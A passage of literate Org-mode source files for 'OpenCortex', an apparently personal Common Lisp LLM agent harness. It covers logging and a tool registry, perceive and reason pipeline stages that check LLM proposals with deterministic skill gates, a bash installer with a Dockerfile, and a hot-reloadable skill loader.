#:cognitive-tool-body
;; --- Emacs Client Registry ---
#:*emacs-clients*
#:*clients-lock*
#:register-emacs-client
#:unregister-emacs-client
;; --- Probabilistic Engine ---
#:ask-probabilistic
#:register-probabilistic-backend
#:distill-prompt
#:*provider-cascade*
;; --- Security Vault ---
#:vault-get-secret
#:vault-set-secret
;; --- Deterministic Logic ---
#:list-objects-with-attribute
#:deterministic-verify
;; --- AST Helpers ---
#:find-headline-missing-id))
#+end_src
** Package Implementation Initialization
Ensuring the compiler enters the correct namespace for all subsequent definitions.
#+begin_src lisp :tangle ../library/package.lisp
(in-package :opencortex)
#+end_src
* System State Management
The package layer manages the core data structures that represent the live state of the harness.
** Harness Logging State
OpenCortex maintains a thread-safe circular log buffer. This is critical for two reasons:
1. *Neural Introspection:* The probabilistic engine can read the recent system logs to understand why an action failed.
2. *Real-time Debugging:* Clients can subscribe to a live log stream without needing to read the physical log file.
#+begin_src lisp :tangle ../library/package.lisp
(defvar *system-logs* nil
"Thread-safe list of the most recent system messages.")
#+end_src
#+begin_src lisp :tangle ../library/package.lisp
(defvar *logs-lock* (bt:make-lock "harness-logs-lock")
"Protects the circular log buffer from race conditions during concurrent skill execution.")
#+end_src
#+begin_src lisp :tangle ../library/package.lisp
(defvar *max-log-history* 100
"The maximum number of entries to preserve in the in-memory log buffer.")
#+end_src
** Skills Registry
All Literate Skills, once compiled, are registered here. This allows for topological sorting and priority-based execution.
#+begin_src lisp :tangle ../library/package.lisp
(defvar *skills-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills, keyed by their unique identifier.")
#+end_src
** Skill Telemetry State
To ensure the system remains performant and reliable, the harness tracks execution metrics for every skill.
#+begin_src lisp :tangle ../library/package.lisp
(defvar *skill-telemetry* (make-hash-table :test 'equal)
"Stores execution duration and failure counts for every registered skill.")
#+end_src
#+begin_src lisp :tangle ../library/package.lisp
(defvar *telemetry-lock* (bt:make-lock "harness-telemetry-lock")
"Protects the telemetry store from concurrent updates.")
#+end_src
* Support Functions
** Protocol Property Access (proto-get)
Lisp keywords can be inconsistent between capitalized and lowercase versions depending on the client (e.g., Emacs vs. Python socket). ~proto-get~ provides a robust abstraction to ensure the system correctly extracts values regardless of keyword casing.
#+begin_src lisp :tangle ../library/package.lisp
(defun proto-get (plist key)
"Robustly retrieves a value from a plist, checking both uppercase and lowercase keyword versions."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
#+end_src
** Telemetry Tracking
The ~harness-track-telemetry~ function provides the hook for the metabolic loop to report performance data.
#+begin_src lisp :tangle ../library/package.lisp
(defun harness-track-telemetry (skill-name duration status)
"Updates performance metrics for a specific skill. Status should be :success or :rejected."
(when skill-name
(bt:with-lock-held (*telemetry-lock*)
(let ((entry (or (gethash skill-name *skill-telemetry*) (list :executions 0 :total-time 0 :failures 0))))
(incf (getf entry :executions))
(incf (getf entry :total-time) duration)
(when (eq status :rejected) (incf (getf entry :failures)))
(setf (gethash skill-name *skill-telemetry*) entry)))))
#+end_src
* Cognitive Tooling System
The Tool Registry is the agent's physical interface. It separates the /proposal/ of an action from its /execution/.
** Tool Structure
#+begin_src lisp :tangle ../library/package.lisp
(defvar *cognitive-tools* (make-hash-table :test 'equal)
"The active set of physical capabilities available to the agent.")
#+end_src
#+begin_src lisp :tangle ../library/package.lisp
(defstruct cognitive-tool
"Represents a physical or virtual capability with explicit documentation and security guards."
name
description
parameters
guard
body)
#+end_src
** Tool Registration Macro (def-cognitive-tool)
We use a macro to ensure that tools are consistently registered and accessible to the LLM's "tool-belt" prompt generator.
#+begin_src lisp :tangle ../library/package.lisp
(defmacro def-cognitive-tool (name description parameters &key guard body)
"Registers a new cognitive tool.
NAME: Keyword identifier.
DESCRIPTION: Human-readable intent (used in LLM prompts).
PARAMETERS: List of property lists defining arguments.
GUARD: (context -> boolean) function to prevent unsafe calls.
BODY: The actual Lisp execution logic."
`(setf (gethash (string-downcase (string ',name)) *cognitive-tools*)
(make-cognitive-tool :name (string-downcase (string ',name))
:description ,description
:parameters ',parameters
:guard ,guard
:body ,body)))
#+end_src
* Logging Implementation
** Centralized Logging (harness-log)
The primary mechanism for system transparency. It ensures all activity is both visible to the user and recorded for neural reasoning.
#+begin_src lisp :tangle ../library/package.lisp
(defun harness-log (msg &rest args)
"Centralized logging for the harness. Writes to STDOUT and the thread-safe circular buffer."
(let ((formatted-msg (apply #'format nil msg args)))
(bt:with-lock-held (*logs-lock*)
(push formatted-msg *system-logs*)
(when (> (length *system-logs*) *max-log-history*)
(setq *system-logs* (subseq *system-logs* 0 *max-log-history*))))
(format t "~a~%" formatted-msg)
(finish-output)))
#+end_src

106
harness/perceive.org Normal file
View File

@@ -0,0 +1,106 @@
#+TITLE: Stage 1: Perceive (perceive.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:perceive:
#+STARTUP: content
* Stage 1: Perceive (perceive.lisp)
** Architectural Intent: Sensory Ingestion
The Perceive stage is the "sensory cortex" of the OpenCortex. Its primary responsibility is to take raw, unstructured stimuli from the outside world—whether from a TCP socket, a system interrupt, or a background heartbeat—and normalize them into high-fidelity internal **Signals**.
Normalization is critical because it shields the subsequent reasoning and actuation stages from the messiness of different transport protocols. Whether a message arrives via a TUI, a Signal bot, or an internal timer, the core "Brain" perceives a consistent Lisp property list.
** Pipeline Initialization
Ensuring we are in the correct namespace for sensory processing.
#+begin_src lisp :tangle ../library/perceive.lisp
(in-package :opencortex)
#+end_src
** Sensory Concurrency (Async Sensors)
To maintain the agent's responsiveness, we distinguish between "Fast" and "Slow" sensors. Sensors that require extensive processing or external API calls are routed to asynchronous threads to prevent blocking the main metabolic pipeline.
#+begin_src lisp :tangle ../library/perceive.lisp
(defvar *async-sensors* '(:chat-message :delegation :user-command)
"List of sensors that should be processed asynchronously to avoid blocking gateways.")
#+end_src
** Foveal Focus (User Context)
The system tracks the user's current point of interaction (the "foveal focus"). This provides immediate situational awareness to the reasoning engine, allowing it to prioritize the data the human is currently looking at.
#+begin_src lisp :tangle ../library/perceive.lisp
(defvar *foveal-focus-id* nil
"The Org ID of the node the user is currently interacting with.")
#+end_src
* Primary Ingress
** Stimulus Injection (inject-stimulus)
The ~inject-stimulus~ function is the universal gateway into the OpenCortex mind. It performs two critical tasks:
1. *Envelope Wrapping:* Ensures that every raw message is wrapped in a ~:META~ envelope, preserving the source and session information.
2. *Dispatching:* Determines whether to run the metabolism synchronously or in a new thread.
#+begin_src lisp :tangle ../library/perceive.lisp
(defun inject-stimulus (raw-message &key stream (depth 0))
"Enqueues a raw message into the reactive signal pipeline."
(let* ((payload (getf raw-message :payload))
(sensor (getf payload :sensor))
(meta (getf raw-message :meta))
(async-p (or (getf payload :async-p) (member sensor *async-sensors*))))
;; Ensure META exists and contains the stream if provided
(unless meta (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
(when stream (setf (getf meta :reply-stream) stream))
(setf (getf raw-message :meta) meta)
(if async-p
(bt:make-thread
(lambda ()
(restart-case (handler-bind ((error (lambda (c) (harness-log "ASYNC ERROR: ~a" c) (invoke-restart 'skip-event))))
(process-signal raw-message))
(skip-event () nil)))
:name "opencortex-async-task")
(restart-case (handler-bind ((error (lambda (c) (harness-log "SYSTEM ERROR: ~a" c) (invoke-restart 'skip-event))))
(process-signal raw-message))
(skip-event () (harness-log "SYSTEM RECOVERY: Stimulus dropped.~%"))))))
#+end_src
* The Perceive Stage
** Perception Gate (perceive-gate)
The first official stage of the metabolic loop. It performs "Pre-Cognitive" work:
1. *Logging:* Recording the arrival of the signal.
2. *State Sync:* If the signal contains an AST update (e.g., from Emacs), it immediately updates the in-memory graph.
3. *Merkle Checkpointing:* Before modifying memory, it creates a snapshot to allow for emergency rollbacks.
#+begin_src lisp :tangle ../library/perceive.lisp
(defun perceive-gate (signal)
"Initial processing: Normalizes raw stimuli and updates memory."
(let* ((payload (getf signal :payload))
(type (getf signal :type))
(meta (getf signal :meta))
(sensor (getf payload :sensor)))
(harness-log "GATE [Perceive]: ~a (~a) [Source: ~s]" type (or sensor "no-sensor") (getf meta :source))
(cond ((eq type :EVENT)
(case sensor
(:buffer-update
(let ((ast (getf payload :ast)))
(when ast
(snapshot-memory)
(ingest-ast ast))))
(:point-update
(let ((element (getf payload :element)))
(when element
(snapshot-memory)
(setf *foveal-focus-id* (ignore-errors (getf element :id)))
(ingest-ast element))))
(:interrupt
(bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* t)))))
((eq type :RESPONSE)
(harness-log "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
(setf (getf signal :status) :perceived)
(setf (getf signal :foveal-focus) *foveal-focus-id*)
signal))
#+end_src

189
harness/reason.org Normal file
View File

@@ -0,0 +1,189 @@
#+TITLE: Stage 2: Reason (reason.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:reason:
#+STARTUP: content
* Stage 2: Reason (reason.lisp)
** Architectural Intent: Unified Cognition
The Reason stage is the cognitive engine of the OpenCortex. Its primary responsibility is to bridge the gap between raw sensory data (Perceive) and physical side-effects (Act).
Cognition is split into two distinct modes:
1. **Probabilistic Reasoning:** Utilizing LLMs to generate creative proposals and understand natural language intent.
2. **Deterministic Verification:** Utilizing native Lisp logic to verify and constrain the neural proposals against security and physics invariants.
This hybrid approach ensures the agent is both intelligent and mathematically safe.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/reason.lisp
(in-package :opencortex)
#+end_src
* Probabilistic Engine Infrastructure
** Neural Backend Registry
OpenCortex is provider-agnostic. All neural backends (OpenRouter, Ollama, etc.) register themselves here.
#+begin_src lisp :tangle ../library/reason.lisp
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
"A global mapping of provider identifiers (keywords) to their respective execution functions.")
#+end_src
** Provider Cascade Configuration
#+begin_src lisp :tangle ../library/reason.lisp
(defvar *provider-cascade* nil
"An ordered list of providers to attempt if the primary one fails.")
#+end_src
#+begin_src lisp :tangle ../library/reason.lisp
(defvar *model-selector-fn* nil
"A hook for dynamic model selection based on context complexity.")
#+end_src
#+begin_src lisp :tangle ../library/reason.lisp
(defvar *consensus-enabled-p* nil
"Flag to enable parallel multi-model voting (not implemented in MVP).")
#+end_src
** Backend Registration Helper
#+begin_src lisp :tangle ../library/reason.lisp
(defun register-probabilistic-backend (name fn)
"Registers a neural provider with its calling function."
(setf (gethash name *probabilistic-backends*) fn))
#+end_src
* The Cognitive Cycle
** Probabilistic Call (probabilistic-call)
The primary interface for neural reasoning. It iterates through the cascade until a successful response is achieved or the cascade is exhausted.
#+begin_src lisp :tangle ../library/reason.lisp
(defun probabilistic-call (prompt &key (system-prompt "You are the Probabilistic engine.") (cascade nil) (context nil))
"Dispatches a neural request through the provider cascade. Returns a Lisp plist or a failure log."
(let ((backends (or cascade *provider-cascade*)))
(or (dolist (backend backends)
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(harness-log "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (when *model-selector-fn* (funcall *model-selector-fn* backend context)))
(result (if model
(funcall backend-fn prompt system-prompt :model model)
(funcall backend-fn prompt system-prompt))))
(cond ((and (listp result) (eq (getf result :status) :success))
(return (getf result :content)))
((stringp result) (return result))
(t (harness-log "PROBABILISTIC: Backend ~a failed: ~a" backend (getf result :message))))))))
(list :type :LOG :payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
#+end_src
** LLM Output Sanitization (strip-markdown)
Modern LLMs often wrap Lisp code in markdown backticks. This helper ensures the code is clean before the Lisp reader touches it.
#+begin_src lisp :tangle ../library/reason.lisp
(defun strip-markdown (text)
"Strips common markdown code block markers from text to ensure valid S-expression parsing."
(if (and text (stringp text))
(let ((cleaned text))
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
(string-trim '(#\Space #\Newline #\Tab) cleaned))
text))
#+end_src
** The Thought Process (Think)
The core logic that prepares the "mind" for reasoning. It assembles the global awareness (Memex status, recent logs, active tasks) and provides a strict protocol template for the LLM to follow.
#+begin_src lisp :tangle ../library/reason.lisp
(defun think (context)
"Generates a Lisp action proposal based on current context."
(let* ((active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(global-context (context-assemble-global-awareness))
(system-logs (context-get-system-logs))
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")))
(let* ((prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
(raw-prompt (if prompt-generator
(funcall prompt-generator context)
(let ((p (proto-get (proto-get context :payload) :text)))
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
(system-prompt (format nil "IDENTITY: ~a. MANDATE: Respond with ONE Lisp plist. ~a ~a RECENT_LOGS: ~a
IMPORTANT: To reply to the user, you MUST use:
(:TYPE :REQUEST :PAYLOAD (:ACTION :MESSAGE :TEXT \"<Response Text>\"))
To call a tool, you MUST use:
(:TYPE :REQUEST :TARGET :TOOL :ACTION :CALL :TOOL \"<name>\" :ARGS (:arg1 \"val\"))
PROVIDER RULE: Always use the default cascade provider unless a specific model or capability is required for the task."
assistant-name global-context tool-belt system-logs)))
(let* ((thought (probabilistic-call raw-prompt :system-prompt system-prompt :context context))
(cleaned (strip-markdown thought))
(meta (proto-get context :meta))
(source (proto-get meta :source)))
(if (and cleaned (stringp cleaned))
(let ((*read-eval* nil))
(if (and (> (length cleaned) 0) (char= (char cleaned 0) #\())
(handler-case
(let ((parsed (read-from-string cleaned)))
(let ((type (proto-get parsed :TYPE))
(target (or (proto-get parsed :TARGET) (proto-get parsed :target))))
(cond ((member type '(:REQUEST :EVENT :STATUS :RESPONSE))
(unless (proto-get parsed :target) (setf (getf parsed :target) (or source :CLI)))
parsed)
;; Handle raw plists or lists of plists that look like tool calls or data
((or (eq target :TOOL) (eq target :tool) (getf parsed :TOOL) (getf parsed :tool)
(and (listp parsed) (listp (car parsed)) (keywordp (caar parsed))))
(list :TYPE :REQUEST :TARGET :TOOL :PAYLOAD parsed))
(t (list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))))
(error (c) (list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))
(list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))
thought)))))
#+end_src
** Deterministic Verification
The final safety check. It iterates through all active skills to verify that the proposed neural action does not violate any invariants.
#+begin_src lisp :tangle ../library/reason.lisp
(defun deterministic-verify (proposed-action context)
"Iterates through all skill deterministic-gates sorted by priority. Ensures absolute safety of the neural proposal."
(let ((current-action proposed-action)
(skills nil))
(maphash (lambda (name skill) (declare (ignore name)) (when (skill-deterministic-fn skill) (push skill skills))) *skills-registry*)
(setf skills (sort skills #'> :key #'skill-priority))
(dolist (skill skills)
(let ((trigger (skill-trigger-fn skill))
(gate (skill-deterministic-fn skill)))
(when (or (null trigger) (ignore-errors (funcall trigger context)))
(let ((next-action (funcall gate current-action context)))
(let ((original-type (proto-get current-action :type)))
(when (and (listp next-action)
(member (proto-get next-action :type) '(:LOG :EVENT :log :event))
(or (not (member original-type '(:LOG :EVENT :log :event)))
(not (eq next-action current-action))))
(harness-log "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
(return-from deterministic-verify next-action)))
(setf current-action next-action)))))
current-action))
#+end_src
* The Reasoning Pipeline Stage
** Reasoning Gate (reason-gate)
The stage that ties it all together. It filters stimuli that don't require cognition (like internal heartbeat pulses) and executes the hybrid neural-logical loop.
#+begin_src lisp :tangle ../library/reason.lisp
(defun reason-gate (signal)
"Unified Stage: Combines Probabilistic proposals and Deterministic verification."
(let* ((type (proto-get signal :type))
(payload (proto-get signal :payload))
(sensor (proto-get payload :sensor)))
;; Optimization: Only reason about user input or chat messages.
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
(return-from reason-gate signal))
(let ((candidate (think signal)))
(if candidate
(setf (getf signal :approved-action) (deterministic-verify candidate signal))
(setf (getf signal :approved-action) nil))
(setf (getf signal :status) :reasoned)
signal)))
#+end_src

260
harness/setup.org Normal file
View File

@@ -0,0 +1,260 @@
#+TITLE: Zero-to-One Setup (setup.org)
#+AUTHOR: Amr
#+FILETAGS: :harness:setup:
#+STARTUP: content
* Zero-to-One Setup (setup.org)
The ~setup.org~ file defines the automated installation and initialization sequence for the OpenCortex.
** The Installer Script (opencortex.sh)
#+begin_src bash :tangle ../opencortex.sh
#!/bin/bash
set -e
PORT=9105
HOST="localhost"
RED='\033[0;31m'; GREEN='\033[0;32m'; BLUE='\033[0;34m'; YELLOW='\033[0;33m'; NC='\033[0m'
command_exists() { command -v "$1" >/dev/null 2>&1; }
# Resolve symlinks to find the actual repository location
SOURCE="${BASH_SOURCE[0]}"
while [ -h "$SOURCE" ]; do
DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
SOURCE="$(readlink "$SOURCE")"
[[ $SOURCE != /* ]] && SOURCE="$DIR/$SOURCE"
done
export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
# Load environment variables if they exist
if [ -f "$SCRIPT_DIR/.env" ]; then
while IFS="=" read -r key value || [ -n "$key" ]; do
if [[ $key =~ ^[a-zA-Z_][a-zA-Z0-9_]*$ ]]; then
val=$(echo "$value" | sed "s/^\"//;s/\"$//")
export "$key=$val"
fi
done < "$SCRIPT_DIR/.env"
[ -n "$ORG_AGENT_DAEMON_PORT" ] && PORT=$ORG_AGENT_DAEMON_PORT
[ -n "$DAEMON_HOST" ] && HOST=$DAEMON_HOST
fi
# --- 1. BOOTSTRAP ---
# If the script is run standalone, it clones the full repo and restarts itself.
if [ ! -d "$SCRIPT_DIR/.git" ] && [ ! -d "$HOME/.opencortex" ] && [[ ! "$(pwd)" =~ "opencortex" ]]; then
echo -e "${BLUE}=== OpenCortex: Zero-to-One Bootstrapper ===${NC}"
git clone ssh://git@10.10.10.201:2222/amr/opencortex.git ~/.opencortex
cd ~/.opencortex && git submodule update --init --recursive
exec ./opencortex.sh "$@"
fi
# --- 2. SETUP ---
setup_system() {
NON_INTERACTIVE=false
for arg in "$@"; do
if [ "$arg" == "--non-interactive" ]; then NON_INTERACTIVE=true; fi
done
echo -e "${BLUE}=== OpenCortex: Initializing System ===${NC}"
echo -e "${YELLOW}--- Installing System Dependencies ---${NC}"
if command_exists apt-get; then
sudo apt-get update && sudo apt-get install -y sbcl emacs-nox rlwrap netcat-openbsd curl git socat libssl-dev libncurses5-dev libffi-dev zlib1g-dev libsqlite3-dev
fi
if [ ! -d "$HOME/quicklisp" ]; then
curl -O https://beta.quicklisp.org/quicklisp.lisp
sbcl --non-interactive --load quicklisp.lisp --eval "(quicklisp-quickstart:install)" --eval "(ql-util:without-prompting (ql:add-to-init-file))"
rm quicklisp.lisp
fi
cd "$SCRIPT_DIR"
if [ ! -f .env ]; then
if [ "$NON_INTERACTIVE" = true ]; then
echo "Non-interactive mode: Using environment variables for .env creation."
cp .env.example .env
[ -n "$MEMEX_USER" ] && sed -i "s|MEMEX_USER=.*|MEMEX_USER=\"$MEMEX_USER\"|" .env
[ -n "$MEMEX_ASSISTANT" ] && sed -i "s|MEMEX_ASSISTANT=.*|MEMEX_ASSISTANT=\"$MEMEX_ASSISTANT\"|" .env
[ -n "$OPENROUTER_API_KEY" ] && sed -i "s|OPENROUTER_API_KEY=.*|OPENROUTER_API_KEY=\"$OPENROUTER_API_KEY\"|" .env
[ -n "$MEMEX_DIR" ] && sed -i "s|MEMEX_DIR=.*|MEMEX_DIR=\"$MEMEX_DIR\"|" .env
else
cp .env.example .env
echo -e "\n${YELLOW}--- Identity Configuration ---${NC}"
read -p "Your Name [User]: " user_name < /dev/tty
user_name=${user_name:-User}
sed -i "s|MEMEX_USER=.*|MEMEX_USER=\"$user_name\"|" .env
read -p "Agent Name [OpenCortex]: " agent_name < /dev/tty
agent_name=${agent_name:-OpenCortex}
sed -i "s|MEMEX_ASSISTANT=.*|MEMEX_ASSISTANT=\"$agent_name\"|" .env
echo -e "\n${YELLOW}--- LLM Configuration ---${NC}"
read -p "OpenRouter API Key: " openrouter_key < /dev/tty
[ -n "$openrouter_key" ] && sed -i "s|OPENROUTER_API_KEY=.*|OPENROUTER_API_KEY=\"$openrouter_key\"|" .env
echo -e "\n${YELLOW}--- Memex Folder Structure ---${NC}"
read -p "Memex Root [\$HOME/memex]: " memex_dir < /dev/tty
memex_dir=${memex_dir:-\$HOME/memex}
sed -i "s|MEMEX_DIR=.*|MEMEX_DIR=\"$memex_dir\"|" .env
fi
# Hydrate default paths
M_DIR=$(grep MEMEX_DIR .env | cut -d'"' -f2 | sed "s|\$HOME|$HOME|")
sed -i "s|SKILLS_DIR=.*|SKILLS_DIR=\"$SCRIPT_DIR/skills\"|" .env
sed -i "s|ZETTELKASTEN_DIR=.*|ZETTELKASTEN_DIR=\"$M_DIR/notes\"|" .env
mkdir -p "$M_DIR" "$M_DIR/notes" "$M_DIR/areas" "$M_DIR/resources" "$M_DIR/archives" "$M_DIR/system" "$M_DIR/inbox" "$M_DIR/daily" "$M_DIR/projects"
fi
mkdir -p src
for f in literate/*.org; do
emacs --batch --eval "(require 'org)" --eval "(org-babel-tangle-file \"$f\")" >/dev/null 2>&1 || true
done
mkdir -p "$HOME/.local/bin"
ln -sf "$SCRIPT_DIR/opencortex.sh" "$HOME/.local/bin/opencortex"
for shell_config in "$HOME/.bashrc" "$HOME/.profile"; do
if [ -f "$shell_config" ]; then
if ! grep -q ".local/bin" "$shell_config"; then
echo 'export PATH="$HOME/.local/bin:$PATH"' >> "$shell_config"
fi
fi
done
export PATH="$HOME/.local/bin:$PATH"
echo -e "${YELLOW}--- Compiling and Loading OpenCortex ---${NC}"
sbcl --non-interactive --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' --eval '(push (truename (uiop:getenv "SCRIPT_DIR")) asdf:*central-registry*)' --eval "(ql:quickload '(:opencortex :croatoan))"
if [ $? -ne 0 ]; then
echo -e "${RED}✗ Compilation failed.${NC}"
exit 1
fi
if [ "$NON_INTERACTIVE" = true ]; then
echo "Setup complete (Non-interactive)."
exit 0
fi
echo -e "${YELLOW}--- Finalizing: Awakening the Brain ---${NC}"
"$SCRIPT_DIR/opencortex.sh" --boot > "$SCRIPT_DIR/brain.log" 2>&1 &
success=false
for i in {1..30}; do
if nc -z localhost $PORT 2>/dev/null; then success=true; break; fi
sleep 2
echo -n "."
done
if [ "$success" = true ]; then
echo -e "\n${GREEN}✓ Brain is alive on port $PORT.${NC}"
exit 0
else
echo -e "\n${RED}✗ Brain failed to wake up.${NC}"
exit 1
fi
}
# --- 3. COMMAND ROUTER ---
COMMAND=$1
[ -z "$COMMAND" ] && COMMAND="cli"
shift || true
DEFAULT_PORT=9105
DEFAULT_HOST="localhost"
TARGET_PORT=${PORT:-$DEFAULT_PORT}
TARGET_HOST=${HOST:-$DEFAULT_HOST}
# If uninitialized, force setup.
if [ ! -f "$SCRIPT_DIR/src/package.lisp" ] || [ ! -f "$SCRIPT_DIR/.env" ]; then
COMMAND="setup"
fi
case "$COMMAND" in
setup)
setup_system "$@"
;;
--boot|boot)
export SKILLS_DIR="${SCRIPT_DIR}/skills"
[ -z "$MEMEX_DIR" ] && export MEMEX_DIR="$HOME/memex"
if [ -f "$SCRIPT_DIR/.env" ]; then
export OPENROUTER_API_KEY=$(grep OPENROUTER_API_KEY "$SCRIPT_DIR/.env" | cut -d'"' -f2)
fi
exec sbcl --non-interactive --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' --eval '(setf *debugger-hook* (lambda (c h) (declare (ignore h)) (format *error-output* "FATAL LISP ERROR: ~a~%" c) (uiop:print-backtrace :stream *error-output*) (uiop:quit 1)))' --eval '(push (truename (uiop:getenv "SCRIPT_DIR")) asdf:*central-registry*)' --eval '(format t "--- Quickloading OpenCortex ---~%")' --eval "(ql:quickload '(:opencortex :croatoan))" --eval '(opencortex:main)'
;;
tui)
if ! nc -z $TARGET_HOST $TARGET_PORT 2>/dev/null; then
echo -e "Brain is offline. Awakening..."
"$SCRIPT_DIR/opencortex.sh" --boot > "$SCRIPT_DIR/brain.log" 2>&1 &
for i in {1..15}; do
sleep 2
if nc -z $TARGET_HOST $TARGET_PORT 2>/dev/null; then break; fi
echo -n "."
done
echo ""
fi
echo -e "Launching Croatoan TUI..."
export SKILLS_DIR="${SCRIPT_DIR}/skills"
[ -z "$MEMEX_DIR" ] && export MEMEX_DIR="$HOME/memex"
exec sbcl --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' --eval '(push (truename (uiop:getenv "SCRIPT_DIR")) asdf:*central-registry*)' --eval '(ql:quickload :opencortex/tui)' --eval '(opencortex.tui:main)'
;;
cli)
if ! nc -z $TARGET_HOST $TARGET_PORT 2>/dev/null; then
echo -e "Brain is offline. Awakening..."
"$SCRIPT_DIR/opencortex.sh" --boot > "$SCRIPT_DIR/brain.log" 2>&1 &
for i in {1..15}; do
sleep 2
if nc -z $TARGET_HOST $TARGET_PORT 2>/dev/null; then break; fi
echo -n "."
done
echo ""
fi
if command_exists socat; then
exec socat - TCP:$TARGET_HOST:$TARGET_PORT
else
exec nc $TARGET_HOST $TARGET_PORT
fi
;;
*)
echo -e "Unknown command: $COMMAND"
echo "Available commands: setup, boot, tui, cli"
exit 1
;;
esac
#+end_src
** Metabolic Docker Infrastructure (Dockerfile)
#+begin_src dockerfile :tangle ../Dockerfile
FROM debian:bullseye-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
sbcl \
emacs-nox \
curl \
git \
socat \
netcat-openbsd \
libssl-dev \
libncurses5-dev \
libffi-dev \
zlib1g-dev \
libsqlite3-dev \
&& rm -rf /var/lib/apt/lists/*
# Install Quicklisp
RUN curl -O https://beta.quicklisp.org/quicklisp.lisp \
&& sbcl --non-interactive --load quicklisp.lisp --eval "(quicklisp-quickstart:install)" --eval "(ql-util:without-prompting (ql:add-to-init-file))" \
&& rm quicklisp.lisp
WORKDIR /app
COPY . .
# Initialize system in non-interactive mode
RUN mkdir -p /root/memex /app/environment/logs && ./opencortex.sh setup --non-interactive
EXPOSE 9105
CMD ["./opencortex.sh", "boot"]
#+end_src

139
harness/skills.org Normal file
View File

@@ -0,0 +1,139 @@
#+TITLE: The Skill Engine (skills.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:skills:
#+STARTUP: content
* The Skill Engine (skills.lisp)
** Architectural Intent: Hot-Reloadable Intelligence
The Skill Engine is the modular heart of the OpenCortex. By separating cognitive and physical capabilities into discrete "Skills," we allow the system to evolve without modifying the core Lisp microharness.
*** Core Principles
1. **Isolation:** Every skill resides in its own Lisp package, preventing global namespace pollution and variable collisions.
2. **Topological Bootstrapping:** Skills can declare dependencies on other skills. The harness automatically calculates the correct loading order.
3. **Hot-Reloading:** Since Skills are defined as Literate Org files, the agent can edit, re-tangle, and re-load its own skills at runtime without a system restart.
4. **The Bouncer Pattern:** Every skill must define a deterministic gate. This is the primary security layer where native Lisp logic verifies probabilistic AI proposals.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/skills.lisp
(in-package :opencortex)
#+end_src
* Skill Definition and Registration
** The Skill Structure
#+begin_src lisp :tangle ../library/skills.lisp
(defstruct skill
"Represents a hot-reloadable module of intelligence or actuation."
name
priority
dependencies
trigger-fn
probabilistic-prompt
deterministic-fn)
#+end_src
** Skill Registration Macro (defskill)
This macro provides a clean interface for skill authors to register their modules. It automatically handles the integration with the global ~*skills-registry*~.
#+begin_src lisp :tangle ../library/skills.lisp
(defmacro defskill (name &key (priority 0) dependencies trigger probabilistic deterministic)
"Registers a new skill into the global harness registry."
`(setf (gethash (string-downcase (string ',name)) *skills-registry*)
(make-skill :name (string-downcase (string ',name))
:priority ,priority
:dependencies ,dependencies
:trigger-fn ,trigger
:probabilistic-prompt ,probabilistic
:deterministic-fn ,deterministic)))
#+end_src
* Dynamic Loading System
** Lisp Syntax Validation (validate-lisp-syntax)
Before loading a new skill into the live image, the harness performs a dry-run parse to ensure the code is syntactically valid. This prevents a single hallucinated parenthesis from crashing the entire brain.
#+begin_src lisp :tangle ../library/skills.lisp
(defun validate-lisp-syntax (file-path)
"Parses a Lisp file without evaluation to verify syntactic integrity."
(handler-case
(with-open-file (stream file-path)
(loop for form = (read stream nil :eof)
until (eq form :eof))
t)
(error (c)
(harness-log "SYNTAX ERROR in ~a: ~a" file-path c)
nil)))
#+end_src
** Literate Skill Ingestion (load-skill-from-org)
The primary mechanism for hot-reloading. It handles the Org-to-Lisp translation and ensures the resulting code is jailed within its own package.
#+begin_src lisp :tangle ../library/skills.lisp
(defun load-skill-from-org (org-file-path)
"Tangles and loads a single Org-mode skill file."
(let* ((filename (file-name-nondirectory (namestring org-file-path)))
(skill-id (pathname-name org-file-path))
(lisp-file (merge-pathnames (concatenate 'string "library/gen/" skill-id ".lisp")
(asdf:system-source-directory :opencortex))))
(ensure-directories-exist lisp-file)
(harness-log "LOADER: Loading ~a..." skill-id)
;; 1. Tangle the Org file into Lisp
(uiop:run-program (list "emacs" "--batch" "--eval" "(require 'org)"
"--eval" (format nil "(org-babel-tangle-file \"~a\")" org-file-path))
:output t)
;; 2. Verify and Load
(if (validate-lisp-syntax lisp-file)
(progn
(handler-case (load lisp-file)
(error (c) (harness-log "LOADER ERROR in skill '~a': ~a" skill-id c)))
t)
nil)))
#+end_src
* Bootstrapping Logic
** Dependency Sorting (topological-sort-skills)
